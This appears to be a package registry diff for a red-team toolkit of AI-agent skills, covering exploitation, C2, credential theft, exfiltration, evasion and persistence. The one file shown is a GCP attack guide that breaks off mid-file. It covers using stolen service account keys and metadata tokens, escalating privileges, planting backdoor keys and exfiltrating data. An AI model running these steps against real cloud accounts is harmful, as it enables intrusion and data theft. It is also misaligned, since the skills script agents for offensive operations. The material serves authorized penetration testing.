rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,981 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-cloud-gcp
|
|
3
|
+
description: "Google Cloud Platform Red Team skill. GCP IAM privilege escalation, Service Account key theft, Cloud Storage bucket public access exploitation, Cloud Functions exploitation, metadata server access (169.254.169.254 and metadata.google.internal), Workload Identity abuse, and GCP organization policy bypass. Tools: gcloud CLI, GCP IAM Privilege Escalation via Terraform."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-cloud-gcp — GCP Red Team Skill Guide
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use
|
|
9
|
+
|
|
10
|
+
This skill covers offensive operations against Google Cloud Platform (GCP) environments. It applies during red team engagements where the target organization uses GCP as its cloud provider, either exclusively or as part of a multi-cloud strategy.
|
|
11
|
+
|
|
12
|
+
GCP differs from AWS and Azure in several key ways that affect attack surface:
|
|
13
|
+
|
|
14
|
+
- IAM uses a hierarchical model: Organization > Folder > Project > Resource
|
|
15
|
+
- Service Accounts are both identities and resources — they can be impersonated, have keys stolen, and be granted overly permissive roles
|
|
16
|
+
- The metadata server at `169.254.169.254` (also reachable as `metadata.google.internal`) exposes tokens, project info, and SSH keys
|
|
17
|
+
- Workload Identity Federation allows external identities (GitHub Actions, AWS, Azure AD) to impersonate GCP Service Accounts — a frequent misconfiguration
|
|
18
|
+
- Organization Policies constrain what can be deployed at scale; bypassing them reveals underlying IAM misconfigurations
|
|
19
|
+
|
|
20
|
+
Use this skill when you have:
|
|
21
|
+
- Initial foothold on a GCP Compute Engine instance
|
|
22
|
+
- Leaked or stolen GCP Service Account key files (JSON)
|
|
23
|
+
- Access to GCP credentials via environment variables or application default credentials
|
|
24
|
+
- A target that uses GCP-hosted applications, buckets, or serverless functions
|
|
25
|
+
- A CI/CD pipeline that authenticates to GCP (GitHub Actions, Cloud Build, Jenkins)
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## 2. Prerequisites and Tool Setup
|
|
30
|
+
|
|
31
|
+
### 2.1 Attacker Machine Requirements
|
|
32
|
+
|
|
33
|
+
Kali Linux 2023.x or later is assumed. All commands target Bash unless otherwise noted.
|
|
34
|
+
|
|
35
|
+
### 2.2 Install gcloud CLI
|
|
36
|
+
|
|
37
|
+
```bash
|
|
38
|
+
# Add Google Cloud SDK repo
|
|
39
|
+
echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" \
|
|
40
|
+
| sudo tee /a /etc/apt/sources.list.d/google-cloud-sdk.list
|
|
41
|
+
|
|
42
|
+
curl https://packages.cloud.google.com/apt/doc/apt-key.gpg \
|
|
43
|
+
| sudo apt-key --keyring /usr/share/keyrings/cloud.google.gpg add -
|
|
44
|
+
|
|
45
|
+
sudo apt-get update && sudo apt-get install -y google-cloud-cli
|
|
46
|
+
|
|
47
|
+
# Verify
|
|
48
|
+
gcloud version
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
### 2.3 Install Supporting Tools
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
# Python 3 and pip (usually pre-installed on Kali)
|
|
55
|
+
sudo apt-get install -y python3 python3-pip jq curl wget git
|
|
56
|
+
|
|
57
|
+
# gcphound — GCP enumeration and privilege escalation automation
|
|
58
|
+
pip3 install gcphound
|
|
59
|
+
|
|
60
|
+
# trufflehog — credential scanning in repos and storage
|
|
61
|
+
pip3 install trufflehog
|
|
62
|
+
|
|
63
|
+
# cloudfox — multi-cloud enumeration
|
|
64
|
+
wget https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-linux-amd64.zip
|
|
65
|
+
unzip cloudfox-linux-amd64.zip -d /opt/cloudfox
|
|
66
|
+
sudo ln -s /opt/cloudfox/cloudfox /usr/local/bin/cloudfox
|
|
67
|
+
|
|
68
|
+
# GCP IAM Privilege Escalation scripts (Rhino Security Labs)
|
|
69
|
+
git clone https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation.git /opt/gcp-privesc
|
|
70
|
+
|
|
71
|
+
# ScoutSuite — multi-cloud auditing (useful for gap analysis)
|
|
72
|
+
pip3 install scoutsuite
|
|
73
|
+
|
|
74
|
+
# gcp_scanner — Google's own attack surface scanner
|
|
75
|
+
pip3 install gcp-scanner
|
|
76
|
+
|
|
77
|
+
# Terraform (for policy bypass techniques)
|
|
78
|
+
wget https://releases.hashicorp.com/terraform/1.8.0/terraform_1.8.0_linux_amd64.zip
|
|
79
|
+
unzip terraform_1.8.0_linux_amd64.zip -d /opt/terraform
|
|
80
|
+
sudo mv /opt/terraform/terraform /usr/local/bin/
|
|
81
|
+
|
|
82
|
+
# oauth2l — GCP OAuth token utility
|
|
83
|
+
sudo apt-get install -y oauth2l || pip3 install oauth2l
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### 2.4 Authenticate with Stolen Credentials
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
# Method 1: Activate a stolen service account key file
|
|
90
|
+
gcloud auth activate-service-account --key-file=/path/to/stolen-key.json
|
|
91
|
+
|
|
92
|
+
# Method 2: Use ADC (Application Default Credentials) path
|
|
93
|
+
export GOOGLE_APPLICATION_CREDENTIALS=/path/to/stolen-key.json
|
|
94
|
+
|
|
95
|
+
# Method 3: Set access token stolen from metadata server
|
|
96
|
+
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.xxxxxxxxxxxx"
|
|
97
|
+
gcloud config set auth/access_token_file /dev/null # prevent override
|
|
98
|
+
gcloud projects list # test access
|
|
99
|
+
|
|
100
|
+
# Verify current identity
|
|
101
|
+
gcloud auth list
|
|
102
|
+
gcloud config list
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## 3. Skill Levels
|
|
108
|
+
|
|
109
|
+
### BEGINNER — Discovery and Credential Access
|
|
110
|
+
|
|
111
|
+
Objectives: Understand what you have access to, identify the project scope, enumerate storage and IAM basics.
|
|
112
|
+
|
|
113
|
+
Techniques:
|
|
114
|
+
- Enumerate accessible projects and resources
|
|
115
|
+
- List IAM bindings on projects
|
|
116
|
+
- Check public Cloud Storage buckets
|
|
117
|
+
- Read instance metadata for tokens
|
|
118
|
+
|
|
119
|
+
### INTERMEDIATE — Lateral Movement and Privilege Escalation
|
|
120
|
+
|
|
121
|
+
Objectives: Move from a low-privilege identity to a higher-privilege one, pivot across projects.
|
|
122
|
+
|
|
123
|
+
Techniques:
|
|
124
|
+
- Exploit overpermissioned Service Accounts
|
|
125
|
+
- Steal and activate Service Account keys
|
|
126
|
+
- Impersonate Service Accounts via `iam.serviceAccounts.getAccessToken`
|
|
127
|
+
- Abuse Cloud Functions and Cloud Run for code execution
|
|
128
|
+
- Exploit Workload Identity Federation misconfigurations
|
|
129
|
+
|
|
130
|
+
### ADVANCED — Persistence and Data Exfiltration
|
|
131
|
+
|
|
132
|
+
Objectives: Establish persistence mechanisms, exfiltrate sensitive data, expand to organization level.
|
|
133
|
+
|
|
134
|
+
Techniques:
|
|
135
|
+
- Create backdoor Service Account keys
|
|
136
|
+
- Modify IAM bindings at folder/organization level
|
|
137
|
+
- Exfiltrate Cloud SQL, Firestore, BigQuery data
|
|
138
|
+
- Abuse Cloud Build for supply chain access
|
|
139
|
+
- Exploit organization policies to enable restricted APIs
|
|
140
|
+
|
|
141
|
+
### EXPERT — Organization-Level Compromise and Stealthy Ops
|
|
142
|
+
|
|
143
|
+
Objectives: Achieve organization-wide control, evade detection, attack identity federation and supply chains.
|
|
144
|
+
|
|
145
|
+
Techniques:
|
|
146
|
+
- Organization policy bypass and custom constraint manipulation
|
|
147
|
+
- Hijack Workload Identity pools to impersonate arbitrary external identities
|
|
148
|
+
- Abuse Domain-Wide Delegation (Google Workspace + GCP overlap)
|
|
149
|
+
- Poison Cloud Build pipelines for persistent code execution
|
|
150
|
+
- Exfiltrate KMS keys and decrypt stored secrets
|
|
151
|
+
- VPC Service Controls bypass via allowed perimeter exceptions
|
|
152
|
+
|
|
153
|
+
---
|
|
154
|
+
|
|
155
|
+
## 4. Step-by-Step Numbered Attack Workflow
|
|
156
|
+
|
|
157
|
+
### Phase 1: Initial Access and Credential Validation
|
|
158
|
+
|
|
159
|
+
```
|
|
160
|
+
Step 1. Receive or obtain initial credentials (key file, token, metadata access)
|
|
161
|
+
Step 2. Validate credentials and determine current identity
|
|
162
|
+
Step 3. Enumerate accessible projects
|
|
163
|
+
Step 4. Determine effective permissions on each project
|
|
164
|
+
Step 5. Identify the highest-value targets (prod vs dev, data projects, shared VPCs)
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
### Phase 2: Enumeration
|
|
168
|
+
|
|
169
|
+
```
|
|
170
|
+
Step 6. Enumerate IAM policies at project and organization level
|
|
171
|
+
Step 7. List Service Accounts and their keys
|
|
172
|
+
Step 8. Enumerate Cloud Storage buckets and their ACLs
|
|
173
|
+
Step 9. List Compute Engine instances and their Service Account attachments
|
|
174
|
+
Step 10. Enumerate Cloud Functions, Cloud Run services, App Engine apps
|
|
175
|
+
Step 11. Check for secrets in Secret Manager
|
|
176
|
+
Step 12. Identify Workload Identity pools and providers
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
### Phase 3: Privilege Escalation
|
|
180
|
+
|
|
181
|
+
```
|
|
182
|
+
Step 13. Map current permissions to known privesc paths
|
|
183
|
+
Step 14. Execute the highest-impact privesc path available
|
|
184
|
+
Step 15. Validate elevated access
|
|
185
|
+
Step 16. Repeat enumeration from elevated context
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
### Phase 4: Lateral Movement
|
|
189
|
+
|
|
190
|
+
```
|
|
191
|
+
Step 17. Identify cross-project access via shared VPCs or IAM bindings
|
|
192
|
+
Step 18. Pivot to adjacent projects using elevated SA
|
|
193
|
+
Step 19. Access data stores (GCS, BigQuery, Cloud SQL, Firestore)
|
|
194
|
+
Step 20. Enumerate secrets in adjacent projects
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
### Phase 5: Persistence
|
|
198
|
+
|
|
199
|
+
```
|
|
200
|
+
Step 21. Create new Service Account key for backdoor access
|
|
201
|
+
Step 22. Add IAM binding for attacker-controlled identity
|
|
202
|
+
Step 23. Deploy persistent Cloud Function or Cloud Run with outbound callback
|
|
203
|
+
Step 24. Document all persistence mechanisms for cleanup
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
### Phase 6: Exfiltration and Reporting
|
|
207
|
+
|
|
208
|
+
```
|
|
209
|
+
Step 25. Identify highest-value data (PII, credentials, source code, keys)
|
|
210
|
+
Step 26. Exfiltrate samples per engagement rules of engagement
|
|
211
|
+
Step 27. Document attack chain end-to-end
|
|
212
|
+
Step 28. Clean up backdoors and test artifacts
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## 5. Actual Terminal Commands
|
|
218
|
+
|
|
219
|
+
### 5.1 Identity and Project Enumeration
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
# Who am I
|
|
223
|
+
gcloud auth list
|
|
224
|
+
gcloud config get-value account
|
|
225
|
+
|
|
226
|
+
# What projects can I see
|
|
227
|
+
gcloud projects list --format="table(projectId,name,projectNumber)"
|
|
228
|
+
|
|
229
|
+
# Set working project
|
|
230
|
+
export PROJECT_ID="target-project-id"
|
|
231
|
+
gcloud config set project $PROJECT_ID
|
|
232
|
+
|
|
233
|
+
# Get project number (needed for some APIs)
|
|
234
|
+
gcloud projects describe $PROJECT_ID --format="value(projectNumber)"
|
|
235
|
+
|
|
236
|
+
# Check organization
|
|
237
|
+
gcloud organizations list
|
|
238
|
+
|
|
239
|
+
# List folders
|
|
240
|
+
gcloud resource-manager folders list --organization=ORG_ID
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
### 5.2 IAM Enumeration
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
# Get project-level IAM policy
|
|
247
|
+
gcloud projects get-iam-policy $PROJECT_ID --format=json | tee /tmp/iam-policy.json
|
|
248
|
+
|
|
249
|
+
# Find all members with a specific role
|
|
250
|
+
gcloud projects get-iam-policy $PROJECT_ID \
|
|
251
|
+
--format=json | jq '.bindings[] | select(.role=="roles/editor") | .members'
|
|
252
|
+
|
|
253
|
+
# List all Service Accounts in project
|
|
254
|
+
gcloud iam service-accounts list --project=$PROJECT_ID
|
|
255
|
+
|
|
256
|
+
# Get SA details
|
|
257
|
+
gcloud iam service-accounts describe SA_EMAIL --project=$PROJECT_ID
|
|
258
|
+
|
|
259
|
+
# List keys on a Service Account
|
|
260
|
+
gcloud iam service-accounts keys list \
|
|
261
|
+
--iam-account=SA_EMAIL \
|
|
262
|
+
--project=$PROJECT_ID
|
|
263
|
+
|
|
264
|
+
# Check what roles the current account has
|
|
265
|
+
